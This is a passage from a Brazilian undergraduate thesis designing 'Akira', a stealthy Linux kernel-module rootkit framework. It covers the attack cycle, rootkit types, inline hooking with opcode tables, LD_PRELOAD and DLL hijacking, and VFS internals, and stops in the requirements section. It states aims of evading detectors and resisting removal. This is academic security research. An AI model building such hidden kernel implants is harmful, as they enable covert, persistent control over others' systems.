Universidade de Brasília
Instituto de Ciências ExatasDepartamento de Ciência da Computação
Akira - One ring to rule them all: um Framework
para Geração de Camada de Persistência Furtiva
Isaac Orrico
Monografia apresentada como requisito parcial para conclusão do Curso de Engenharia da Computação
Orientador
Prof. João José Costa Gondim
Brasília
2016
Universidade de Brasília
Instituto de Ciências ExatasDepartamento de Ciência da Computação
Akira - One ring to rule them all: um Framework
para Geração de Camada de Persistência Furtiva
Isaac Orrico
Monografia apresentada como requisito parcial para conclusão do Curso de Engenharia da Computação
Prof. João José Costa Gondim (Orientador) CIC/UnB
Prof. Dr. Robson de Oliveira Albuquerque Dr. Dino Macedo do Amaral ENE/UnB Banco do Brasil
Prof. Dr. Ricardo Pezzuol Jacobi
Coordenador do Curso de Engenharia da Computação
Dedicatória
Eu dedico este trabalho ao acaso e ao vazio, os precursores de toda existência.
Agradecimentos
Agradeço aos meus grandes amigos Yago Sant’Anna e Professor Gondim por terem tido a paciência de resivarem todo o texto. Agradeço a phrack por iluminar o mundo através do compartilhamento aberto de conhecimento. E por último, mas não menos importante, agradeço a perseverança da minha querida mãe, Noêmia Maria Monteiro Orrico, uma mulher corajosa que criou cinco filhos sozinha.
Resumo
Este trabalho apresenta os conceitos e tecninalidades relacionados a um tipo específico de malware conhecidos como ameaças avançadas e persistente(rootkits). Sendo assim, foi proposto e implementando um framework com a finalidade de facilitar a criação e gerenci-manento do mesmo. Avaliar o seu comportamento e entender os métodos de ataque a fundo, possiblita a apresentação de novas propostas com o objetivo de mitigar o funciona-mento dos rootkits. Apesar de ser abordado uma grande variedade de técnicas, muitas ainda precisam ser investigadas e provas de conceito devem ser escritas com o intuito de descobrir o seu funcionamento em detalhes.
Palavras-chave: rootkit, segurança da informação, malware, ameaças avançadas e
Abstract
Recently a specific kind of malware known as stealthy rootkits, present in advanced per-sistent threats (APTs) has become more frequent and powerful. So, a framework was implemented to support their creation and management. Assessing their behavior and deep understanding of their attack methods will lead to new mitigation proposals. De-spite examining a variety of hooking techniques, and implementing one of them, several others remain to be investigated to their complete understanding.
Sumário
1 Introdução 1 1.1 Um visitante inesperado . . . 1 1.2 Motivação e Justificativa . . . 2 1.3 Objetivos . . . 2 1.3.1 Específicos . . . 21.4 Organização deste documento . . . 2
1.4.1 Capítulo 2 - Revisão Conceitual . . . 2
1.4.2 Capítulo 3 - Akira . . . 3 1.4.3 Capítulo 4 - Testes . . . 3 1.4.4 Capítulo 5 - Conclusão . . . 3 2 Revisão Conceitual 4 2.1 Rootkit . . . 4 2.2 O ciclo de ataque . . . 5 2.2.1 Recolher informações . . . 5 2.2.2 Identificar vulnerabilidades . . . 6
2.2.3 Determinar o plano de ação . . . 6
2.2.4 Escalar privilégios . . . 6 2.2.5 Persistir . . . 7 2.2.6 Um exemplo prático . . . 7 2.3 Categoria . . . 8 2.3.1 User mode . . . . 9 2.3.2 Kernel mode . . . . 9 2.3.3 Bootkits . . . . 10 2.3.4 Hypervisor level . . . . 10 2.3.5 Hardware/Firmware level . . . 10 2.4 Hooking . . . 10 2.4.1 Address hooking . . . . 11 2.4.2 Inline hooking . . . . 12
2.4.3 Write/Write back . . . . 15
2.4.4 DLL/Lib hijack . . . . 15
3 Akira 17 3.1 Drivers . . . . 17
3.2 Linux Loadable Kernel Modules . . . 17
3.2.1 Device drivers . . . . 18
3.2.2 Filesystem drivers . . . 18
3.2.3 System calls . . . . 18
3.2.4 Network drivers . . . . 19
3.2.5 Executable interpreters . . . . 19
3.3 Virtual File System . . . . 19
3.3.1 Directory Entry Cache (dcache) . . . . 19
3.3.2 Inode object . . . . 20 3.3.3 File object . . . . 20 3.3.4 Operações em arquivos . . . . 20 3.3.5 Proc Filesystem . . . . 21 3.4 Definição . . . 21 3.5 Requisitos . . . 21 3.5.1 Robustez . . . 21 3.5.2 Controle . . . 22 3.5.3 Furtividade . . . 22 3.5.4 Monitoramento . . . 22 3.5.5 Persistência . . . 22 3.6 Arquitetura . . . 23 3.6.1 hide module . . . . 23 3.6.2 hook entity . . . 24
3.6.3 hook routine entity . . . . 24
3.6.4 choose . . . . 25
3.6.5 get functions address . . . . 26
3.6.6 mount . . . . 27
3.6.7 write . . . . 28
3.6.8 hooked function . . . . 29
3.6.9 command and control . . . . 29
4 Testes 31 4.1 Testes de funcionalidade . . . 31
4.1.2 Esconder/mostrar um processo . . . 32
4.1.3 Esconder/mostrar um arquivo . . . 34
4.1.4 Esconder/mostrar portas de conexão . . . 36
4.1.5 Módulo escondido e protegido . . . 37
4.2 Testes de evasão . . . 38
4.2.1 rkhunter . . . . 38
4.2.2 chkrootkit . . . . 39
5 Conclusão 41
Lista de Figuras
2.1 O ciclo de ataque. . . 5
2.2 Ilustração do exemplo prático. . . 8
2.3 Anéis de proteção. . . 9
2.4 Ilustração do desvio de fluxo. . . 11
2.5 Antes e depois a inserção do hook code. . . . 13
2.6 Ilustração do uso de trampoline. . . . 14
2.7 Ordem de busca dos diretórios. . . 16
Lista de Tabelas
2.1 Tipos de rootkits . . . . 10
2.2 Valores dos endereços após o hook . . . 12
2.3 hook codes comumente usados . . . . 14
Capítulo 1
Introdução
O conhecimento oculto, proibido e místico sempre foi algo atrativo ao olhos do serers mais curiosos, naturalmente subversos e pouco compreendidos. Com o advento da ciência da computação essa comunidade conhecida como hackers iniciaram um novo ramo da gnose humana, levando a tecnologia a novos limites, subvertendo sistemas e demostrando com clareza a essência do pensamento fora da caixa.
"Eu sou apenas um ponto, pontual, abstrato, periódico, aleatório, a ser desvendado no infinito mar de possibilidades ."
1.1
Um visitante inesperado
Há alguns anos foi publicado uma história sobre um homem de meia idade, morador de um pequeno apartamento localizado em Fukuoka, Japão. Este senhor vivia sozinho e começou a dar por falta de comida na sua geladeira, logo para terminar com as suas supeitas teve a simples ideia de instalar câmeras na sua residência, transmitindo o vídeo através da internet para o seu celular. Um dia suas câmeras detectaram movimentações em seu apartamento, pensando que estava sendo roubado ligou imediatamente para a polícia. Quando os políciais chegaram no local ficaram surpresos por não encontrarem nenhuma porta ou janela arrombada, finalmente após entrarem no apartamento efetuaram uma pequena busca, encontraram uma senhora de 58 anos chamada Tatsuko Horikama escondida em um closet.
De acodo com o relatório da polícia ela era moradora de rua e estava vivendo no closet por volta de seis meses. A mulher explicou para a polícia que tinha entrado no aparta-mento quando viu o solteiro saindo. Ela verificou se a porta estava aberta, descobrindo o desleixo do morador, invadiu e passou a morar no pequeno armário. Além disso ainda havia a suspeita das autoridades japonesas que a mulher não morava no mesmo
aparta-mento o tempo todo, mas trocava de local para minimizar o risco de ser pega por algum morador genuíno.
Ela tomava banho, moveu um colchão para o closet onde dormia e guardava garrafas de água para eventuais necessidades. O porta-voz das autoridades descreveu a senhora como sendo arrumada e limpa. Em essência um rootkit(ameaça avançada persistente) é exatamente isso: um convidado indesejado, arrumado, limpo e difícil, as vezes impossível, de se livrar.[24]
1.2
Motivação e Justificativa
Em segurança da informação ameaças avançadas persistentes representam um papel vital no ciclo de ataque, possibiltando ao atacante total controle sobre o sistema em ques-tão, logo se faz necessário entender como esses programas funcionam e assim propor e implementar defesas eficases contra esse tipo particular de software.
1.3
Objetivos
Implementar um rootkit baseado em inline hooking que passe despercebido pelos detecto-res mais comuns.
1.3.1
Específicos
1. a implementação deve ser furtiva ao nível do sistema operacional hospedeiro; 2. a implementação terá persistência: uma vez instalado não pode ser removido; 3. a implementação proverá funcionalidades de gerenciamento;
1.4
Organização deste documento
1.4.1
Capítulo 2 - Revisão Conceitual
Neste capítulo são introduzidos e revisados os conceitos básicos para o entendimento do assunto: ameaças avançadas e persistentes (rootkits). Vale ressaltar a complexidade do assunto proposto e a amplitude de conhecimentos requeridos para o total entendimento do mesmo, logo cabe ao leitor assimilar os estudos das fontes externas (referências) do texto.
1.4.2
Capítulo 3 - Akira
Neste capítulo tem-se a descrição do projeto: requisitos, arquitetura, técnicas utilizadas e sua implementação (código fonte).
1.4.3
Capítulo 4 - Testes
Neste capítulo são apresentados os testes e resultados do projeto (akira).
1.4.4
Capítulo 5 - Conclusão
Neste capítulo são ponderados os resultados obtidos e uma projeção para trabalhos futu-ros.
Capítulo 2
Revisão Conceitual
Este capitulo aborda os conceitos de rootkits e hooking, servindo de base ao desenvolvi-mento deste trabalho.
2.1
Rootkit
Nos sistemas operacionais (SO) baseados em unix um usuário com o máximo de privilé-gios é chamado de root. Esse nome não é mandatório, porém, por questões históricas é comumente usado. Compromenter um computador e adquirir privilégios de administra-dor é referido como rooting ou own it. Quando é adquirido esse estatus você controla e domina plenamente o sistema em questão sendo o seu novo dono. No SO windows nt, obter uma conta com privilégios de SYSTEM é mais relevante do que uma conta de ad-ministrador, uma vez que SYSTEM está no nível lógico do SO. Sendo mais privilegiado e com menos restrições de acesso aos componentes críticos do sistema é visto como o santo graal, possibilitando furtividade e persistência ao atacante.
Contudo, violar uma máquina e manter o seu acesso são coisas distintas, como ganhar um milhão de reais e manter esse dinheiro. Existem diversas ferramentas disponíveis a um administrador do sistema (sysadmin) para detectar e expulsar invasores de uma máquina comprometida. Um atacante barulhento e descuidado atrairá atenção, levando a perda do seu precioso acesso. Devido a essa necessidade um novo tipo de programa malicioso surgiu, os obscuros e complexos malwares. Ser furtivo, persitente e monitorar atividades dos usuários legítimos do computador são seus principais requisitos, conceitos chave para manter o controle e acesso sobre o novo território conquistado. Expandir o seu domínio na rede ao qual a máquina está conectada é uma mera consequência do monitoramento.
Sendo assim, segue a definição: Um rootkit é um conjunto de binários, scripts, arquivos de configuração (isto é, kit), com a finalidade de prover ao atacante camadas de acesso, persitência e monitoramento do sistema comprometido. Em linhas gerais o atacante está
interessado em: inserir comandos, roubar dados sem ser detectado e penetrar cade vez mais na rede local e exerna.[5]
O rootkit pode ser classificado como um conjunto de softwares projetado com a fina-lidade de evadir técnicas forense, uma arma invisível e sutil.[18]
2.2
O ciclo de ataque
No ponto de vista do atacante, invadir um certo alvo requer seguir passos equivalentes a qualquer algoritmo matemático bem projetado. A criatividade e o pensamento fora da caixa são fatores determinantes nesse escopo, resultando em um ataque bem sucedido ou um fracasso memorável.[13] As etapas do clico de ataque são detalhados a seguir(modelo
simplificado):
Figura 2.1: O ciclo de ataque.
2.2.1
Recolher informações
Consiste em conhecer o seu alvo, pesquisar e levantar o máximo de informação sobre todos os componentes daquele sistema. Entender suas características e enumerar seus serviços são as fases iniciais e cruciais para identificar promissores vetores de ataque a serem testa-dos. Muitas ferramentas foram desenvolvidas para esse fim, como por exemplo, o famoso varredor de portas (port scan) conhecido como nmap[15]. Vale ressaltar a
proporcionali-dade da taxa de sucesso, quanto melhor o seu trabalho de inteligência maiores são as suas chances de efetuar um ataque efetivo.
2.2.2
Identificar vulnerabilidades
Através das informações obtidas são identificadas pontos fracos a serem explorados para adquirir o acesso. Isso implica, em alguns casos horas/meses de trabalho duro. A forma como essas vulnerabilidades são descobertas e exploradas fogem do escopo deste trabalho, sendo um assunto vasto da segurança da informação. Diversas pesquisas foram realizadas e publicadas envolvendo tanto escrita de exploits (software para explorar a falha), como mitigações para impedir o abuso de programas vulneráveis. [23][9]
O fator humano é levado em consideração, pois pessoas são suscetíveis a ataques de engenharia social. A engenharia social, no contexto de segurança da informação, refere-se a manipulação psicológica de pessoas para a execução de ações ou divulgar informações confidenciais. Este é um termo que descreve um tipo psicotécnico de intrusão que depende fortemente de interação humana e envolve enganar outras pessoas para quebrar procedi-mentos de segurança. Um ataque clássico na engenharia social é quando uma pessoa se passa por um alto nível profissional dentro das organizações e diz que o mesmo possui problemas urgentes de acesso ao sistema, conseguindo assim o acesso a locais restritos.[7]
2.2.3
Determinar o plano de ação
Após a identificação das vulnerabilidades é traçado um plano lógico e executável. Essa etapa é livre e depende apenas da criatividade e expertise do seu idealizador. Prepara-se todas as ferramentas necessárias e o ataque é efetuado.
2.2.4
Escalar privilégios
Uma vez dentro do sistema se faz necessário atingir certo níveis de acesso. Geralmente, o atacante toma posse de um conta limitada e pouco privilegiada e cabe ao mesmo encon-trar novas vulnerabilidades para atingir esse objetivo. O processo é ciclico levando-o de volta ao primeiro passo recolher informações, após efetuar um plano de ação é efetuada a exploração.
Dependendo do objetivo do atacante essa etapa pode ser desnecessária, por exemplo, a meta era apenas recolher um banco de dados, caso esse arquivo possa ser lido por um usuário pouco privilegiado sua meta foi cumprida. Entretando, a maioria dos atacantes sofisticados utilizam seus esforços para obter uma conta no nível de administrador (got
2.2.5
Persistir
Nesse momento a prioridade é instalar uma porta dos fundos (backdoor) possibilitando a volta do invasor de forma arbitrária. Nessa fase a ferramenta preferida para essa tarefa são os rootkits, provendo no caso não apenas persistência, mas diversas armas para subverter e expandir o seu controle sobre o sistema sequestrado.
2.2.6
Um exemplo prático
Um determinado atacante decide invadir um servidor de uma corporação, onde possivel-mente estão localizados os dados sensíveis sobre clientes de uma rede telefonica. Após horas rodando scanners de portas e enumerando todos os serviços do servidor alvo, o hacker malicioso(black hat) verifica e certifica que não existem vulnerabilidades públicas nestes serviços. Nesse momento ele tem duas opções, auditar esses serviços para encon-trar novas vulnerabilidades (0days, uma vulnerabilidade não publica e não corrigida) ou seguir outro caminho. Ele decide pela segunda opção e olha para um lista de funcionários (nomes, telefones, emails, etc.) capturados no próprio site da empresa obtidos na fase de recolhemento de informações. Idealiza seu plano de ação: prepara o exploit, software malicioso para atacar o navegador (browser) cria um email falso se passando por outro funcionário da chefia e manda o endereço de um site controlado por ele na mensagem ele-trônica. Cristiane (a funcionária) é o alvo, o fator humano. Quando ela vê o email tudo parece verdadeiro e ao clicar no link ela é redirecionada para uma página real, porém o dano já foi feito e o exploit explorou com sucesso o seu navegador instalando um pequeno
malware com diversas funcionalidades maliciosas em seu computador. Uma dessas
funci-onalidades é um keylogger - programa projetado para savar todas as teclas digitadas pela vítima. O atacante espera, paciente, monitorando todos os passos e lendo logs gerados pelo pelo seu precioso rootkit. Ao investigar o computador de Cristiane com mais detalhes através de um backdoor provido pelo seu malware, ele percebe o uso de um software pró-pio da empresa - usado para gerenciar clientes e funcionários. Rapidamente, o atacante baixa o programa. Após algumas horas de engenharia reversa ele encontra os dados de autenticação necessários para acessar o banco de dados no servidor alvo. O sentimento de satisfação chega ao seu cérebro, a adrenalina ao seu sangue, o sorriso malicioso ao seu rosto. Depois de escrever um script com os dados de acesso ao servidor, o executa em outra máquina comprometida pivô, ponte. Seu ataque foi um sucesso, objetivo cumprido, engenharia social perfeita. Mas, por quê parar agora? E começa a obter informações na nova máquina comprometida, escalar privilégio é a única opção lógica para ele.
Figura 2.2: Ilustração do exemplo prático.
2.3
Categoria
Existem cinco tipos de rootkits em circulação (alguns são apenas teóricos): 1. user mode
2. kernel mode 3. bootkits
4. hypervisor level
5. hardware/firmware level
Cada um destes atua em um determinada região da arquitetura computacional. Um sistema operacional provê abstração(processos, arquivos, etc.) e genereciamento dos re-cursos de hardware do computador - determinadas acões podem ser efetuadas apenas pelo
SO e existe uma camada de comunicação entre os dois.[22] Quando um usuário precisa
ler um arquivo do disco rígido( hd) uma requisição é feita por um processo ao SO, após executada a leitura dos dados pelo SO eles são transferidos para o processo. Em conjunto com o processador essa abstração é protegida segundo o conceito de anéis de proteção:
rings. Os valor dos rings variam de zero a três, mas geralmente apenas dois valores são
Anéis com valores negativos passaram a ser usados para indicar funcionalidades es-peciais do processador, devido também a popularização de máquinas virtuais - sistemas operacionais simulados em cima do SO vigente.
O hypervisor é uma plataforma que permite aplicar diversas técnicas de controle de virtualização para utilizar, ao mesmo tempo, diferentes SOs em conjunto de instruções especificas do processador, ring -2 : hypervisor.
Alguns rootkits podem fazer uso de combinações híbridas, por exemplo, modificando o comportamento a nível de usuário(ring 3) e ao mesmo tempo em nível de kernel(ring
0).
Figura 2.3: Anéis de proteção.
2.3.1
User mode
Opera em ring 3, modificando o comportamento de programas e bibliotecas acessíveis ao usuário. Alguns rootkits injetam código de máquina em bibliotecas ligadas dinamica-mente(dlls) as quais serão carregadas em outros processos; outros rootkits, tendo privi-légios suficientes, simplesmente substituem a memória virtual do aplicativo alvo. A sua maior vantagem é a facilidade de serem implementandos, porém são facilmente detectá-veis. Sua remoção pode ser custosa.
2.3.2
Kernel mode
Atua em ring 0 geralmente se passando por um driver, modificando o comportamento das funcionalidades e interfaces de comunicação do kernel, sendo difíceis de detectar e remover
- devido ao controle sobre as operações básicas do SO. O projeto de rootkit proposto para este trabalho atua nesse contexto, tendo como foco o kernel do sistema operacional linux.
2.3.3
Bootkits
Uma variante dos rootkits em kernel mode projetados para sobreescrever o master boot
re-cord(MBR), ou volume boot record (VBR) ou setor de inicialização. O código do malware
será inicializado antes mesmo do SO, seu maior objetivo ao efetuar essa complexa ta-fera é prover persistência e furtividade. São difíceis de serem implementados, devido ao conhecimento em baixo nível necessário para completar a rotina descrita.
2.3.4
Hypervisor level
Atua na camadada do hypervisor. O rootkit altera o comportamento do SO fazendo-o pensar ser um guest - máquina virtual - rodando em cima do hypervisor.
2.3.5
Hardware/Firmware level
Tenta alterar o comportamento do hardware como, por exemplo, o hd, explorando seus
firmwares - conjunto de instruções operacionais programadas diretamente no hardware
de um equipamento eletrônico - modificar esses pequenos programas provê ao rootkit persistência e furtividade, porém essa solução não é genérica, pois depende do fabricante de cada equipamento.
Tabela 2.1: Tipos de rootkits
Tipo ring user mode 3 kernel mode 0 bootkis 0 hypervisor level -2 firmware level –
2.4
Hooking
Em programação de computadores, o termo hook cobre uma variedade de técnicas uti-lizadas para alterar o comportamento do SO, de aplicativos ou outros componentes do software, interceptando chamadas de função ou mensagens ou eventos passados
en-tre seus componentes. O código responsável por essa funcionalidade é chamado de ”gancho”(hook).[21][4][17]
Figura 2.4: Ilustração do desvio de fluxo.
Hooking é utilizado para diversos propósitos, incluindo depuração e extensão de
funcio-nalidades. Diversas técnicas foram desenvolvidas para alcançar esse objetivo. As técnicas mais comuns são:
1. Address hooking 2. Inline hooking 3. Write/Write back 4. Dll/Lib Hijack
Estas técnicas serão descritas a seguir.
2.4.1
Address hooking
A técnica mais simples e genérica do nosso repertório, consiste em alterar o endereço da função diretamente. Por exemplo, seja:
& = endereço (2.1)
&(f unction_A) = 0x40000 (2.2) &(f unction_B) = 0x80000 (2.3)
O objetivo é substituir o endereço da function_A, pelo endereço da function_B, porém necessitados salvar o endereço da function_A original, para chama-la da function_B caso seja preciso. Sendo assim, a operação do hook seria:
&(f unction_C) <= &(f unction_A) (2.4) &(f unction_A) <= &(f unction_B) (2.5)
Tabela 2.2: Valores dos endereços após o hook
função endereço
function_A 0x80000
function_B 0x80000
function_C 0x40000
Logo, a function_A aponta para a function_B e quando for chamada a função inter-ceptadora(function_B) será acionada.
2.4.2
Inline hooking
Consiste em alterar diretamente o código da função, está técnica depende da arquitetura do processador e seu conjunto de instruções(ISA, instruction set architecture), os conceitos relacionados a arquitetura de computadores são pré-requisito para o entedimento deste método[16][4].
O código a ser inserido na função original deve desviar o fluxo original de execução com o intuito de saltar para a função pertencente ao rootkit, esse seguimento de código é defi-nido como hook code. Veja o exemplo a seguir para um melhor entendimento(arquitetura
Figura 2.5: Antes e depois a inserção do hook code.
Neste caso (Figura 2.5) foi usada a instruçao jmp - as instruções jmp são usadas para indicar ao processador(intel) que a próxima instrução a ser executada não é a que está imediatamente a seguir, mas sim outra. Existem saltos(jumps) condicionais que ocorrem se uma determinada condição se verificar e jumps incondicionais. Sendo assim, quando a function_A for chamada a primeira instrução a ser executada será o jmp function_B incondicional, tendo por consequência, o salto direto ao código da function_B.
O leitor astuto deve ter percebido que não será possível chamar a função verdadeira
(function_A) da função interceptadora (function_B), pois ao chama-la a função
verda-deira ira automaticamente pular para o código da function_B entrando em um laço(loop) infinito. Logo, uma função auxiliar (function_trampoline) deve ser utilizada. Seu propó-sito é guardar as instruções soobrescritas(ou instruções roubadas) e executa-las antes da chamada da funcion_A, porém o hook code não deve ser acionado novamente, ele deve ser pulado. O cálculo do número de bytes(offset) a serem pulados será feito com base no tamanho do código de hook.
Figura 2.6: Ilustração do uso de trampoline.
O código de hook depende apenas da criatividade do programador. A tabela a seguir lista os hook codes mais comuns.
Tabela 2.3: hook codes comumente usados
arquitetura assembly instructions hexdecimal(bytes)
intel x86 push $addr, ret \x68\x00\x00\x00\x00 \xc3
intel x86 jmp $addr \xe9\x00\x00\x00\x00
intel x64 mov rax, $addr; jmp rax \x48\xb8\x00\x00\x00 \x00\x00\x00\x00\x00 \xff\xe0
arm ldr pc, [pc, #0]; .long addr; .long addr
\x00\xf0\x9f\xe5\x00 \x00\x00\x00\x00\x00 \x00\x00
Essa metodologia será a usada no desenvolvimento do framework a que se dedica este trabalho(Akira), com o intuito de efetuar o hook nas funções do kernel. Logo, um motor
(IHE, Inline Hooking Engine) foi implementado para facilitar o gerenciamento do esquema
descrito, tendo como parâmetros de entrada os ponteiros das funções relacionadas.
2.4.3
Write/Write back
Parte do mesmo princípio do método Inline hooking, alterar o código da função, porém não usa funções auxiliares trampolines para efetuar a chamada da função original[6] . O código de hook é escrito(write) e as instruções roubadas são salvas em um estruturas de dados, sendo escritas novamente na função verdadeira quando for preciso chama-la, após e execução da mesma o hook code é escrito de volta(write back), provendo desta forma persistência ao hook.
2.4.4
DLL/Lib hijack
No SO windows Dynamic-Link Libraries(DLL) são coleções de dados e código executável usados por aplicações e outros arquivos DLL[19]. Bibliotecas dinâmicas são usadas pelas seguintes razões: facilidade de atualizar o software, requerendo que o usuário baixe apenas alguns pequenos arquivos em vez de todo o executável, e reduzir a quantidade de memória primária(RAM ) utilizada, pois o arquivo de DLL será compartilhando entre as aplicações. No SO linux os equivalentes a DLLs são as Libs, .so(shared objects).
Programadores geralmente não especificam o caminho absoluto(absolute path) da DLL desejada, acarretando o problema da ausência da DLL no espaço de memória do processo, entretanto, a Microsoft resolveu automatizar o processo de busca através de um algoritmo chamado (Dynamic-Link Library Search Order)[20], o qual procura a DLL em diretórios especificos numa determinda ordem. Esta implementação é executada no momento em que a aplicação é carregada na RAM. Por padrão o primeito item achado será usado. A ordem de busca é dada por:
Figura 2.7: Ordem de busca dos diretórios.
Apesar de resolver o problema essa solução abre uma lacuna, pois caso uma DLL cuidadosamente modificada seja colocada em um diretório superior na busca ela será encontrada primeiro e, portanto, carrega no espaço de memória do processo. Os procedi-mentos da DLL maliciosa serão executados quando a aplicação fizer chamadas as funções da mesma.
No linux a biblioteca(ld.so/ld-linux.so) responsável pelo linker e loader do programa, provê uma variável de ambiente chamada LD_PRELOAD. Uma variável de ambiente é uma variável de um sistema operacional que geralmente contém informações sobre o sistema, caminhos de diretórios específicos no sistema de arquivos e as preferências do utilizador. Ela pode afetar a forma como um processo se comporta, e cada processo pode ler e escrever variáveis de ambiente.[2]
Segundo o manual[2] da ld.so a LD_PRELOAD é definida por: ”Uma lista adicional de objetos compartilhados(shared objects) que serão carregados antes de qualquer outra biblioteca. Isto pode ser usadado para sobreescrever funções de outros shared objects.”
Atribuindo o valor LD_PRELOAD com o absolute path da biblioteca modificada será suficiente para efetuar o hook nas funções desejadas[10]. O leitor astuto deve ter notado e visualizado a gama de possibilidades abertas por essa técnica, inserir código executável em um processo em tempo de execução abre diversas portas no quesito exploração de
Capítulo 3
Akira
A definição formal do projeto(Akira) depende do entendimento dos conceitos de drivers e
Linux Loadable Kernel Modules que aqui são apresentados no caso do SO Linux, segundo
as necessidades da implementação.
3.1
Drivers
Um software com o propósito de operar ou controlar um tipo particular de dispositivo que está ligado ao computador[25]. O driver provê uma interface de software para os dispositivos de hardware, permitindo aos sistemas operacionais e outros programas acesso aos recursos fornecidos pelo hardware sem precisar conhecer os detalhes sobre o dispositivo eletrônico[14].
O driver se comunica com o dispositivo atráves do bus[25], ou subsistemas de comu-nicação. Quando um programa invoca uma rotina no driver, ele passa comandos para o
hardware. Uma vez que o dispositivo emite uma reposta e manda dados de volta para o driver, ele pode invocar procedimentos no programa ao qual foi feita a chamada. Suas
caraterísticas principais são: depende da especificação do hardware e do sistema operaci-onal.
3.2
Linux Loadable Kernel Modules
Para adicionar de forma arbitrária código ao kernel bastaria adicionar arquivos de código fonte na árvore de arquivos do mesmo e recompilâ-lo. De fato, a configuração do kernel consiste em escolher quais arquivos devem ser incluidos quando ele for compilado. Porém, é possível adicionar código no kernel enquanto este está rodando(in runtime). Uma porção de código adicionado desta forma é chamada de loadable kernel module, LKM [1].
Apesar de serem módulos externos ao kernel quando um LKM é carregado para a memória ele, a partir daquele momento, faz parte do kernel. Kernel base é o termo usado para especificar a parcela do kernel livre de qualquer módulo externo[3].
Os LKMs são usados para extender as funcionalidades do sistema de diversas formas, as mais comuns são:
1. Device drivers 2. Filesystem drivers 3. System calls 4. Network drivers
5. Executable interpreters sendo descritos a seguir.
3.2.1
Device drivers
Como explicado anteriormente, para usar qualquer dispositivo o kernel deve ter um driver associado.
3.2.2
Filesystem drivers
Interpreta o conteúdo do sistema de arquivos(filesystem)(ref), tipicamente, são os dados contidos no disco rígido representados como arquivos e diretórios, lembrando estes itens são abstrações próvidas pelo SO ao qual representam os dados reais no hd.
Existem diversas formas de guardar arquivos e diretórios no disco, logo diversos tipos de filesystem foram criados, tais como: ext2, ext3, fat, ntfs e etc.(ref). Cada tipo tem suas próprias características e peculiaridades sendo preciso do filesystem driver para realizar operações sobre os arquivos no disco.
3.2.3
System calls
Programas em user mode usam chamadas de sistema(syscalls) para requisitar serviços do
kernel. Por exemplo, existem syscalls para ler/escrever ou criar arquivos, criar processos,
e desligar o sistema. A maioria das chamadas de sistema são embarcadas no SO e seguem um padrão rígido. Contudo, é possível criar novas syscalls e instalâ-las como um LKM ou sobreescrevê-las.
3.2.4
Network drivers
Interpreta um protocolo de rede(network protocol), alimentando e consumindo fluxo de da-dos em várias camadas do gerenciamento de redes fornecida-dos pelo kernel[1]. Por exemplo, o funcinamento do IPX link(ref) requer o driver de rede específico.
3.2.5
Executable interpreters
Linux foi projetado sendo capaz de rodar executáveis em diversos formatos. Cada um
desses formatos deve ter o seu interpretador, sendo que o mesmo pode ser implementando como um LKM [1].
3.3
Virtual File System
O sistema virtual de arquivos(Virtual File System/VSF), também conhecido como sele-cionador de sistemas de arquivos (Virtual Filesystem Switch), é a camada de software no kernel que provê a interface de comunicação entre programas no espaço de usuário e o sistema de arquivos(filesystem). Fornecendo uma abstração dentro do kernel ao qual permite a coexistência de diversas implementações diferentes de filesystems.
VFS implementa as syscalls: open, stat, read, write, chmod, etc, essas chamadas são
efetuadas no contexto do processo.[11]
3.3.1
Directory Entry Cache (dcache)
Pode ser visto como uma estrutura(dentry) do kernel, ao qual representa a entrada de um diretório na memória principal. Através da passagem do argumento - nome do cami-nho(pathname) - para as syscalls referentes ao VSF uma busca é efetuada no directory
entry cache(dcache). Isto provê um mecanismo otimizado para traduzir o pathname em
uma dentry específica. Dentries vivem exclusivamente na RAM existindo apenas por questões de performance.
O dentry cache foi projetada para representar todo o espaço de arquivos. Como a maioria dos computadores não pode ajustar ao mesmo tempo todas as dentries na RAM, alguns pedaços da cache são perdidas.
Com o objetivo de resolver o pathname em um dentry, o VFS pode ter que recorrer à criação de inúmeras dentries ao logo do caminho(path), e, em seguida, carregar o inode na memória principal.
3.3.2
Inode object
Um dentry geralmente contém um ponteiro para uma estrutura inode. Inodes são objetos de filesystem como, por exemplo, arquivos regulares, diretorios e outros[11]. Eles vivem no disco (como blocos de dispositivos de filesystem) ou na memória primária(pesudo
filesystem). Os inodes resilientes do disco, são copiados para a memória quando requerido
e suas mudanças são gravadas no disco. Um simples inode pode ser apontando a multiplas
dentries.
Para pesquisar um inode, o VSF necessita chamar o método lookup() do diretório
inode pai ou diretório acima. Este método é especifico da implementação do filesystem
onde esse inode se econtra. Uma vez que o VSF obtém a dentry requerida(e, portanto, o
inode) as operações relacionadas a arquivos podem ser aplicadas.
3.3.3
File object
Abrir um arquivo requer outra operação: a atribuição de um estrutura chamada file
struct. Sendo esta a implementação interna do kernel de um descritor de arquivos(file descriptor). A nova estrutura alocada é inicializada com um ponteiro para a dentry e um ponteiro para o conjunto de funções relacionadas a operação de arquivos(struct
file_operations), encontradas através dos dados do inode. O método open() é chamado
para que a implementação específica do filesystem possa fazer o seu trabalho. O VSF é reponsável dessa forma por outra seleção.
A file struct é colocada na tabela de descritores de arquivos (file descriptor table) e será utilizada pelo processo.
Ler, escrever e fechar arquivos(e qualquer outra operação relacionada ao VSF ) é feita usando o file descriptor, definido no userspace, como um indice para acessar a estrutura de arquivos na tabela, e em seguida, chamar o método da estrutura de arquivos necessária para efetuar a ação pedida.
3.3.4
Operações em arquivos
As operações referentes aos arquivos são descritas na estrura struct file_operations(ref). struct file_operations {
...
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *); int (*readdir) (struct file *, void *, filldir_t);
... };
Alguns funções foram omitidas por fugirem do escopo deste trabalho.
3.3.5
Proc Filesystem
O sistema de arquivos proc age como uma interface para as estruturas de dados internas do kernel. Ele pode ser usado para obter infomações sobre o sistema e modificar certos parâmetros do kernel.
Como ele é um VFS utiliza da mesma abstração e operações descritas para implemen-tar suas funcionalidades.
3.4
Definição
Akira é um rootkit(lkm based) multiplataforma que faz uso de um motor(Inline hooking engine) desenvolvido para facilitar o hook de qualquer função do kernel acessível ao
mó-dulo do sistema. Ele também pode ser considerado um framework base, tendo como finalidade a criação de rootkits(ring 0).
3.5
Requisitos
Tendo em vista as funcionalidades necessárioas para o funcionamento do rootkit, segue a listagem de requisitos do projeto.
1. Robustez 2. Controle 3. Furtividade 4. Monitoramento 5. Persistência
3.5.1
Robustez
Devido ao fato do rootkit akira ser um LKM a robustez se torna um requisito crítico, pois após ser carregado no kernel qualquer erro causará quebra(kernel panic)(ref) do sistema vigente. Para o sistema voltar ao seu funcionamento o mesmo deverá ser
